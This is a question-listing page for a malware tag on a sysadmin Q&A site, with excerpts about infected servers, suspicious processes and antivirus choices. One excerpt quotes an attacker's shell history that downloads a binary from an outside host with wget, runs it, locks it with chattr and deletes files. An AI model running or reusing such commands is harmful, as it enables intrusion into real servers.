Malware is any software application which subverts the will of the legitimate owner of a computer, by means of force or subterfuge, with or without personal or monetary gain on the part of the creator.

learn more… | top users | synonyms (1)

10
votes
7answers
4k views

What are the pros/cons of blocking a program from running in %appdata%, %temp%, etc.?

While researching ways to prevent CryptoLocker, I saw a forum post that advised using Group Policy Objects (GPO) and/or antivirus software to block run access in the following locations: %appdata% ...
2
votes
1answer
120 views

Ads by jabuticaba in all browsers [on hold]

Recently we got a user who had some malware on his machine -- we've run our McAfee VirusScan Enterprise software, malware bytes anti-malware, combo-fix, adwcleaner and hijack this just to name a few ...
0
votes
2answers
2k views

High CPU load on Centos with process sync_supers

My centos server has high cpu load right now. Please see the Htop output below. sync_supers is very suspected but I don't know how to kill it. Any suggestions?
1
vote
6answers
291 views

Do my macs need anti-virus/malware products?

This caused flame war in my Mac users group, but the recent advisory that Apple released and then pulled suggesting using anti-virus products. My take is that it's worth being safe rather than sorry, ...
1
vote
1answer
32 views

How can I scan files (or data streams) for virus/malware before uploading them into the server and database?

How can I scan an incoming file upload (or a datastream) into a webserver and database for virus/malware? I know how (using the excellent Clam) to scan things after they have been uploaded, but I ...
-1
votes
0answers
6 views

How to remove “JS:Agent-DCLTrj” on Ubuntu [duplicate]

How to remove infection agent JS:Agent-DCL[Trj] from the system. Can any body say the procedure to remove this specific virus on UBUNTU OS
0
votes
0answers
10 views

redirect malware on server - next steps? [duplicate]

At least 3 separate websites (running different php web applications ) on our server have been very occasionally (few times a moonth) redirecting pages to malware pages showing ads. Initially it ...
0
votes
2answers
99 views

How can I check who created a file on server?

Looking through server logs I've noticed some mailicious PHP files hidden among WP and Joomla folders and I'm wondering how they got on the server. Is there a way to review that? It's a shared hosting ...
0
votes
0answers
26 views

My server got hacked [duplicate]

My server was hacked and I've found the next in the bash history: cd /usr/bin wget lixianddos.com:2211/syslog chmod u+x syslog ./syslog ss chattr +i syslog mv chattr ddos rm -rf ...
0
votes
0answers
27 views

Filter internal mails for Spam on Office 365 (Exchange Online)

Whilst making the transition from the On-Premises Exchange 2010 Server to Office 365 (Exchange Online), we temporarily left unconfigured our E-mail filtering smart host (Websense Cloud E-mail ...
0
votes
2answers
561 views

clamscan using maldet Error: Servname not supported for ai_socktype

So i have installed Linux Malware Detect (maldet) to scan a server and everything went fine with installation but when i run it i get an error. Bunch of errors and than the scan just closes it. Here ...
0
votes
2answers
240 views

Symantec - Flagging every local HTML file on my computer as a virus

I just ran Symantec Anti-Virus and it's flagging literally every since HTML, PHP, ASP/ASPX file on my computer as a virus. That's nearly 600 files on my laptop. Can this be? How can a text file ...
0
votes
0answers
15 views

CentOS VPS is possibly rooted, but no tools show anything [duplicate]

I've received a notification from my VPS provider (Afterburst) that my VPS is trying to scan and bruteforce other people's servers. I know that I'm not doing this, and I know that nobody else with ...
1
vote
1answer
128 views

Receiving empty mails from three different Windows PC's since 12 January, 2015

Problem Unexpected empty emails are sent by an unknown source since 12 January, 2015. Attempts to solve the issue they are all from company where I do network/sys support they are all from Windows ...
-1
votes
2answers
158 views

Is there a quick & easy solution to protect server 2012 against malware?

For a Windows Server 2012 Standard GUI version to support a small IDE Getting malware protection on my 1st server has become a much bigger problem than I imagined it would. My research covered a lot ...
0
votes
1answer
191 views

Automatic installation of DbSecurityspt folder [duplicate]

We have an Amazon EC2 instance. The folder DbSecurityspt gets automatically installed in c:/ProgramFiles and the associated service also starts automatically. Removing them, installs them again the ...
0
votes
1answer
30 views

Strange process running

I just mentioned that one user starts a process which is called "httpd". 31712 ftp_johndoe 20 0 35988 8828 1460 S 14.0 0.0 1h50:31 httpd 28616 ftp_johndoe 20 0 5304M 43936 35080 S 4.0 0.2 ...
0
votes
0answers
66 views

How does FireAmp (anti-malware) actually work?

Several companies I know of are rolling out an anti-malware product called FireAMP. The publisher's website is long on hype and short on technical details. How does the product actually work? I'm ...
0
votes
0answers
26 views

FTP Command runs at login for server [duplicate]

I have a windows 2003 server (yes i know it is EOL and needs updated but that is not the point of this question). Everytime I go to log onto the server, I get a command prompt that comes up and tries ...
0
votes
0answers
17 views

Defunct process Rev1112

We were having the following output in top on a Debian box on XenServer: top - 10:00:55 up 10 days, 24 min, 5 users, load average: 126.79, 128.96, 71.39 Tasks: 10382 total, 1 running, 4801 ...
-3
votes
0answers
41 views

How to disable Symbolic link creation option to users in cPanel server? [closed]

In shared hosting server, one user is trying to upload 100s of symbolic link files and trying to access files out side. Mostly it is for malicious purpose. In this image, you can see 100s of symlink ...
0
votes
1answer
35 views

SCEP: imitate potential threat in both live and regular scanner to inspect logs

I am doing some powershell stuff to parse a few logs at work. I would also like to collect some information from the SCEP logs. I find the amount of logs available as well as the different locations ...
0
votes
0answers
19 views

parsing SCEP logs: last definitions update, last scan, viruses found [duplicate]

I would like to write some powershell scripts to extract some information from the SCEP log files. Particularly, I am interested in the following information when was the last scan performed? ...
3
votes
0answers
62 views

Linux Malware Detection Monitoring: Clean files after hit

I'm using LMD ("Maldet") for scanning a web server with different projects. For this purpose I'm using the inotify-monitoring. Well, the inotify-log shows, that the modified files are noticed, but I ...
0
votes
3answers
242 views

DirectAdmin Centos4 server has virus [duplicate]

I have a problem with a webserver that runs Centos4 with DirectAdmin. Since a few weeks some websites hosted on it are not redirecting on search engines properly, they are redirected to some malware ...
2
votes
3answers
256 views

Rebuild or repair? [duplicate]

Possible Duplicate: Updating Malware cleaning skills I was having an argument the other day regarding damaged systems. If a system has a hard to eradicate virus, etc, or has been damaged ...
3
votes
2answers
1k views

Rootkit Revealer is failing to run, why? [duplicate]

On a user's laptop (Windows 7 x64), terrible performance led me to suspect a rootkit after ruling almost everything else out. I checked boot entries with Autoruns and ran a full scan with ...
-1
votes
1answer
82 views

SED multiline recursive find and replace [duplicate]

I have a large number of sites with the same bit of php inserted in all files that contain footer in their filenames. //###==### malicious code //###==### How to use SED or another command to ...
0
votes
1answer
195 views

How to remove crypto-ransomware on my network domain

Today some computer on my domain got infected with crypto-ransomware and have infected some folders on file server that only some computers on network have access to. So I presume one or more of five ...
4
votes
1answer
270 views

Server side antivirus or not?

We have basic server-side virus scanning in our datacenter, but it's expensive, uses a considerable amount of CPU cycles, and is annoying to maintain. I'm not looking for a sales-pitch on "better" AV ...
0
votes
0answers
24 views

Suspicious process running in background in Fedora [duplicate]

There is a suspicious process which every time I boot Fedora starts and eats a percentage of CPU (10%~30%) and I think its name seriously denotes that it is malware! However, the name keeps changing ...
1
vote
2answers
48 views

Why is this server generating outbound IRC connections? [duplicate]

I noticed last night whilst checking our active sessions list on our firewall for something else, that a server was generating outbound IRC connections. Last night there was around 60 connections but ...
0
votes
2answers
283 views

My servers are overloaded with random GET requests. Why? [duplicate]

I'm getting a huge amount of traffic to web servers looking for bittorrent type queries: 110.152.78.14 - - [27/Jan/2015:01:45:22 +0000] "GET ...
1
vote
1answer
49 views

Administering forums on servers, seeing weird attacks

I'm not sure ServerFault is the correct place for such a question: please redirect if another StackExchange site is more appropriate but I think this is the "most correct" one. On one of the server ...
0
votes
1answer
158 views

Apache2 Mod_spamhaus Whitelist

We are using Apache2 mod_spamhaus and many customers were banned using the "Post" method. There is no way to deny mod_spamhaus ban continuously our customers making false positive or ban customers ...
7
votes
3answers
2k views

Can a virus spread through a network share used by an RDP connection?

When connecting to a Windows Server (2003 or 2008) desktop through RDP from a local Windows (7 or XP) PC with networks shares enabled (usually, the local C: disk will be shared with the remote ...
0
votes
0answers
15 views

Virus sends mails via sendmail [duplicate]

I noticed that my server has some bad software that sends mails via sendmail which couses a very slow working. I scaned server with clamscan but without effect. Is there any way to find out which ...
3
votes
2answers
249 views

High number connections coming from an IP

On our corporate network we're detecting workstations opening too many connections to the IP address 75.126.196.159 (port 3478) causing the Cisco ASA Firewall 5550 to detect a "SYN Attack" and reach ...
0
votes
0answers
25 views

Suspicious process self with random name in Fedora 20 [duplicate]

When I run top I see a two processes run by root with all random letters(jycybezyxa and jycybezyxa): >Tasks: 246 total, 2 running, 236 sleeping, 0 stopped, 8 zombie >%Cpu(s): 15.3 us, ...
1
vote
4answers
263 views

Blocking Invalid HTTP Requests to PHP Application

For the first time in a number of years, I'm semi-responsible for helping out with the server administration of a PHP web application (served out using Apache). We're seeing a number of requests for ...
1
vote
3answers
1k views

Linux Stealth Process

I have a process named "stealth" that has infected my server (slamming my CPU) and I can't figure out where it is to remove it for good. Everytime I kill the process it somehow starts itself again... ...
-1
votes
1answer
158 views

Server is trying to send out spam [duplicate]

My email server is attempting to send out a great deal of spam. I'm using Postfix & Dovecot. I'm trying to diagnose the problem and figure out how this is being sent. My guess right now is that ...
-1
votes
1answer
139 views

Backdoor:PHP/Shell.P keeps regenerating.Caught by Antivirus. [duplicate]

I have a windows server 2008 with PHP on it and a few Wordpress sites on it. I got a virus some time ago. I thought I had it deleted and everything was fine but after looking at my Quarantine section ...
-5
votes
1answer
62 views

How to check if any malevolent scripts are running on the server? [closed]

I want to give some small jobs to freelancers who would have FTP access to my websites hosted on my server. I heard that sometimes it's possible they put malevolent scripts and software on the ...
1
vote
2answers
72 views

Best way to trace outgoing requests from a server

We have an Ubuntu 14.04.1 LTS server with nginx 1.4.6 that hosts a few dozen websites and received an abuse complaint from another server of hundreds of requests like this: "POST /wp-login.php ...
0
votes
1answer
275 views

Monitoring “external” worm activity remotely

Some of our computers in our company has been infected with the worm Conficker. We don't know the source of the infection, but I want to monitoring the outside activity to see if we are still infected ...
0
votes
1answer
88 views

Good resource for evaluting AV and anti Malware software?

I am looking for good resources to use to compare the effectiveness of various antivirus/antimalware software solutions. In particular, I am comparing Windows Security Essentials against Symantec ...
0
votes
1answer
742 views

vi.recover/update command appears every minute in cron log. (POSSIBLE VIRUS)

UPDATE (7th Dec 2010) & WARNING: I copied the files discussed below (from the /var/tmp/vi.recover directory) to my Windows PC and sacnned with ESET NOD 32. It identifed two of the file (sshd: and ...
0
votes
2answers
171 views

Server compromised, how deep is the intrusion when PHP files are changed in folder without write permissions [duplicate]

I know there have been a lot of similar questions, but none of them covered this specific question: I found on almost all PHP files on a clients server script injections, it was actually the script ...
1
vote
1answer
391 views

False positive rate of CBL

We've come into the office (30+ networked systems) this morning to find that our email server is blacklisted on the CBL for: This IP address is infected with, or is NATting for a machine infected ...